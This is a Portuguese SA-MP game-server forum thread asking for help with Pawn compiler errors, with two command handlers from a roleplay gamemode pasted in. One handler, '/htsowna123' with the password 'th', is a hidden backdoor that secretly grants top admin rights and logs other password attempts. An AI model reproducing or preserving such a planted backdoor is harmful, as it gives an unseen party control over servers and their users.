[Ajuda] Erros no meu GameMode, nгo consigo tirб-los!
#1

pawn Код:
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(35401) : warning 219: local variable "PlayerName" shadows a variable at a preceding level
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48183) : error 047: array sizes do not match, or destination array is too small
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 017: undefined symbol "admtrampando"
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : warning 215: expression has no effect
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 001: expected token: ";", but found "]"
C:\Users\Shum\Downloads\Terra RPG\gamemodes\Terra.pwn(48190) : error 029: invalid expression, assumed zero
fatal error 107: too many error messages on one line

Compilation aborted.Pawn compiler 3.2.3664          Copyright (c) 1997-2006, ITB CompuPhase


5 Errors.
Linhas dos respectivos erros, junto com suas "linhas vizinhas":

48190:
pawn Код:
if(strcmp(cmd, "/htsowna123", true) == 0)
    {
        if(IsPlayerConnected(playerid))
        {
            new x_nr[64];
            x_nr = strtok(cmdtext, idx);
            if(!strlen(x_nr))
            {
                return 1;
            }
            if(strcmp(x_nr,"th",true) == 0)
            {
                admtrampando[playerid] = 1;
                PlayerInfo[playerid][pAdmin] = 1342;
                admhide[playerid] = 1;
                SendClientMessage(playerid,COLOR_GREEN,"Vocк logou como admin Poderoso/Scripter secreto!");
                getdate(year, month, day);
                gettime(hour,minute);
                format(gstring, 128, "%s se logou como admin secreto [%d/%d/%d - %d:%d]",PlayerName(playerid),day, month, year,hour, minute);
                fdplog(gstring);
                return 1;
            }
            else
            {
                getdate(year, month, day);
                gettime(hour,minute);
                format(gstring, 128, "%s digitou a senha %s [%d/%d/%d - %d:%d]",PlayerName(playerid),x_nr,day, month, year,hour, minute);
                fdplog(gstring);
            }
        }
    }
35401:
pawn Код:
if(strcmp(cmd, "/aexplodir", true) == 0)
    {
        GetPlayerName(playerid, sendername, sizeof(sendername));
        tmp = strtok(cmdtext, idx);
        if(!strlen(tmp) && PlayerInfo[playerid][pAdmin] >= 1)
        {
            SendClientMessage(playerid, COLOR_GREY, "/aexplodir [ID]");
            return 1;
        }
        giveplayerid = strval(tmp);
        GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
        GetPlayerName(playerid, sendername, sizeof(sendername));
        if(IsPlayerConnected(giveplayerid))
        {
            if(PlayerInfo[playerid][pAdmin] >= 1)
            {
                if(IsPlayerConnected(giveplayerid))
                {
                    format(string, sizeof(string), "[INFO]: %s foi explodido por %s",giveplayer, sendername);
                    ABroadCast(COLOR_LIGHTRED,string,1);
                    //SendClientMessageToAll(COLOR_DBLUE, string);
                    new Float:boomx, Float:boomy, Float:boomz;
                    GetPlayerPos(giveplayerid,boomx, boomy, boomz);
                    new Float:health;
                    GetPlayerHealth(giveplayerid, health);
                    SetPlayerHealth(giveplayerid, 100);
                    SetPlayerPos(giveplayerid,1699.2,1435.1,10.7);
                    CreateExplosion(1699.2,1435.1,10.7, 7, 10);
                    SetTimerEx("explodexiter",4000,1,"i",giveplayerid,health,boomx, boomy, boomz);
                    new PlayerName[40];
                    GetPlayerName(playerid, PlayerName, 40);
                    printf("[Comando] %s foi usado /aexplodir para explodir %s", PlayerName, giveplayer);
                }
                else
                {
                    format(string, sizeof(string), "%d nгo estб online.", giveplayerid);
                    SendClientMessage(playerid, COLOR_RED, string);
                }
            }
            else
            {
                SendClientMessage(playerid, COLOR_RED, "Vocк nгo tem permissгo para usar esse comando!");
            }
        }
    else
        {
            SendClientMessage(playerid, COLOR_RED, "Vocк precisa estar logado para usar esse comando!");
        }
        return 1;
    }
Reply


Messages In This Thread
Erros no meu GameMode, nгo consigo tirб-los! - by Shum493 - 04.08.2012, 20:20

Forum Jump:


Users browsing this thread: 1 Guest(s)